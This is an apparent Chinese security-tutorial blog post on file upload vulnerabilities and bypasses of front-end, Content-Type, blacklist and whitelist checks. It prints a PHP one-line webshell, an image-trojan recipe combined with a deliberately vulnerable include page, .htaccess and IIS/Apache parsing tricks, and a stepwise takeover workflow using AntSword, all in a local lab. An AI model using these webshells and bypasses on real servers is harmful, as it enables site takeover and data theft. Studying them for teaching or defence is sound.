web综合-文件上传(上)

张开发
2026/5/29 0:31:22 15 分钟阅读
web综合-文件上传(上)
一、文件上传原理文件上传漏洞是攻击者通过上传恶意脚本文件到服务器进而获取服务器权限实现网站控制、数据窃取、网页篡改等攻击。文件上传漏洞成因文件过滤不严或被绕过前端 / 后端校验缺陷文件路径截断在上传的文件中使用一些特殊的字符(\0)截断从而控制文件名或文件路径最终绕过上传文件后缀判断上传任意格式后缀的文件以获得webshell。PHP版本5.3以下且gpc为off,可以用%00截断。在小皮中打开设置-php,ini-记事本打开-找到magic_quotes_gpcon将on改为Off如果gpc为on可以看见文件没有上传成功直接报错。把gpc修改为off可以上传成功。Uploads目录下成功生成1.php。3.文件解析漏洞Apache/IIS 解析特性4.** 服务器配置不当**上传目录权限过高、支持.htaccess等配置文件二、文件上传绕过方式客户端 JavaScript 校验绕过原理前端 JS 判断文件后缀不安全。绕过方法第一种浏览器禁用 JavaScriptF12打开开发者工具-设置-disable javascript-刷新页面后上传第二种BurpSuite 抓包修改文件后缀将下方的代码写入uploads/uploads.phpscriptfunctioncheckFile(){varfiledocument.getElementsByName(file)[0];varsuffixfile.value.split(.).pop().toLowerCase();varallow[jpg,jpeg,png,gif];if(!allow.includes(suffix)){alert(只能上传图片文件);returnfalse;}returntrue;}/scriptform enctypemultipart/form-datamethodpostonsubmitreturn checkFile()再写一个shell.php?php eval($_POST[pass]); ?上传文件的时候burp的intercept必须是on 的状态抓到的post包找到content-disposition:form-data;name‘file’;filename传入的图片名.jpg’将“传入的文件名.jpg改为”shell.php-forword,此时uploads中会多一个shell.php文件总结完全不可靠只要能抓包就能绕过是最基础的上传漏洞服务端 Content-Type 校验绕过原理后端校验Content-Type为图片类型。绕过方法Burp 将Content-Type: application/octet-stream修改成Content-Type: image/jgep在文件内容开头加GIF89a伪装成gif图片,intercept on-off,上传成功总结不可靠改一个请求头就能绕过黑名单校验绕过原理禁止特定后缀但规则不全。可绕过后缀php3、php4、php5、phtml、cer、cdx方法上传shell.php被拦截后burp抓包在post请求中将文件名改成shell.php3,或其他可执行后缀-intercept off-上传成功apache会自动解析为php执行总结黑名单是最坑的防护设计无法覆盖所有可执行后缀实战中容易被绕过白名单校验绕过原理只允许.jpg .png .gif等图片后缀最安全。绕过条件配合文件包含漏洞组合利用绕过。搭建白名单上传页面?phpheader(Content-Type: text/html; charsetutf-8);$upload_diruploads/;$file$_FILES[file];$name$file[name];$tmp$file[tmp_name];// 白名单只允许图片$extpathinfo($name,PATHINFO_EXTENSION);$allow[jpg,png,gif];if(!in_array(strtolower($ext),$allow)){die(只能上传图片);}move_uploaded_file($tmp,$upload_dir.$name);echo上传成功路径.$upload_dir.$name;?form methodpostenctypemultipart/form-data选择图片马input typefilenamefileinput typesubmitvalue上传/form搭建文件包含漏洞页面?php// 这就是文件包含漏洞$file$_GET[file];include($file);?思路准备一张正常图片test.jpg在新建一个muma.php?php eval($_POST[pass]); ?在cmd中copy /b test.jpg muma.php shell.jpg,这就能得到图片马访问http://localhost/upload.php上传图片马白名单没有识别到其中的木马允许上传再访问http://localhost/include.php?fileuploads/shell.jpg,这一步是用文件包含漏洞将图片当作php执行打开蚁剑-点添加-URL填http://localhost/include.php?fileuploads/shell.jpg密码填pass,点测试连接显示连接成功成功拿到网站权限总结白名单 文件包含是实战中最常用的组合漏洞即使是严格的白名单校验也能被攻破。四、文件解析漏洞高频考点Apache 解析漏洞特性从后往前识别后缀不认识的后缀就跳过。例如shell.php.xxx → 不认识xxx,就当作 PHP 执行。绕过方法:上传文件名为shell.php.abc后缀为任意不认识的字符串上传成功后访问该文件Apache 自动解析为 PHP 执行.htaccess 攻击上传.htaccess让服务器把图片当 PHP 执行apacheIfModule mime_module SetHandler application/x-httpd-php /IfModule上传后再上传图片马shell.gif访问shell.gif即可被当作 PHP 执行。6. IIS6 解析漏洞原理IIS6.0 存在两个经典解析漏洞实战中仍有遇到分号截断、目录解析绕过方法1.分号截断shell.asp;.jpg → 当作 asp 执行2.目录解析新建xxx.asp目录目录内所有文件当作 asp 执行五、文件路径截断%00 截断条件PHP ≤ 5.3gpcoff原理%00截断文件名shell.php%00.jpg → 保存为shell.php六、文件上传利用流程1.找到上传点即网站的文件上传入口2.判断校验类型JS/ContentType/ 黑名单 / 白名单3.根据校验类型使用对应绕过方法4.上传一句话木马5.蚁剑 / 菜刀连接 WebShell获取服务器权限七、总结文件上传漏洞的核心是校验不严 解析不当。掌握前端绕过、后端绕过、解析漏洞、文件包含组合利用基本能应对绝大多数上传场景。

更多文章